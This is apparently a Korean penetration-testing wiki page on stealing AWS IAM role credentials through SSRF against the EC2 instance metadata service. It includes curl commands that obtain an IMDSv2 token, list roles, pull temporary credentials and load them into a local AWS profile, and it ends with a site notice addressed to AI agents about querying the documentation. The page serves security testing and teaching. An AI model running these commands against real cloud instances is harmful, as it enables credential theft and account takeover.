# Credential theft via SSRF

인스턴스 시스템에서는 169.254.169.254에 접근하여 EC2 메타데이터 정보를 수집할 수 있습니다.

IMDSv1(Instance Metadata Service Version)를 사용할 경우 직접적으로 접근할 수 있지만 IMDSv2를 사용할 경우 토큰이 필요하여 토큰과 함께 엔드포인트에 요청해야 합니다.

토큰은 /latest/api/token 경로에 접근하여 발급받을 수 있습니다.

{% hint style="info" %}
IMDSv2의 경우 PUT 요청을 통한 토큰 발급이 필수이기 때문에 일반적인 SSRF 환경에서 제한됩니다.
{% endhint %}

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 토큰 발급
</strong>TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

<strong># IAM Role 식별
</strong>curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

<strong># Role에 대한 크리덴셜 획득
</strong>curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/'&#x3C;iam-role>'

<strong># 획득한 크리덴셜 저장 및 이용
</strong>aws configure --profile pentest
 - access-key 
 - secret-key 
echo "aws_session_token = '&#x3C;token>'" >> ~/.aws/credentials
</code></pre>

## Demo

<figure><img src="/files/lUFezQpCE9tg55j7jKcS" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://docs.aws.amazon.com/ko_kr/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html>" %}

{% embed url="<https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/cloud/aws/undefined-1/credential-theft-via-ssrf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.